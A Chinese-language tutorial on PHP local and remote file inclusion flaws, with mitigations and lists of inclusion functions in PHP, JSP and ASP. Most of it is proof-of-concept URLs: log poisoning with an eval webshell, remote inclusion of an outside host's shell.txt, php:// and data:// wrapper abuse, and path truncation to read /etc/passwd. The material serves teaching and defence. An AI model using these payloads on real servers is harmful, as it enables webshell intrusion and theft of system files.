PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
以上代码保存为 http://www.test.com/index.php
普通权限:
root权限:
1 访问连接 http://www.test.com/<?php eval(POST_['test']) ?>
2 使用菜刀连接 http://www.test.com/index.php?func=/var/log/apache/access.log
这种方式有一个弊端,由于access的日志文件比较大,所以webshell可能会很慢甚至卡死
如果web服务器开启了ssh,且我可以使用putty连接其端口,我们可以尝试连接,使用<?php eval(POST_['test']) ?>作为用户名,然后在登录失败后,用户名会被记录在ssh的失败登入日志(/var/log/auth.log)中,我们可以包含这个日志文件获取webshell。
我们在user-agent中插入一句话,然后访问web服务器,在/proc/self/environ中会包含我们的user-agent信息,然后我们可以包含该文件获取webshell。下面是该文件的内容:
用户上传图片功能是web服务网站最常用的功能,没什么好说的
上传一个包含一句话的rar压缩包,这个功能在php版本大于5.30下可以利用
【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt
需要allow_url_fopen=On并且 allow_url_include=On
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt
需要allow_url_include=On
【POC】 http://www.test.com/index.php?file=php://input
【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
<?php include($_GET['file'] . ".htm"); ?>
需要 magic_quotes_gpc=off,PHP小于5.3.4有效
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd
php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256
【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………
1 尽量不要用户控制文件包含的参数
2 开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
3 关闭allow_url_include函数,防止远程文件包含。
4 包含文件白名单限制
include()
include_once()
require()
require_once()
fopen()
readfile()
include <%@ include file="body.jsp"%>
jsp:include <jsp:include page="head.jsp"/>
采用JSTL <c:import url="http://thief.one/1.jsp">
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->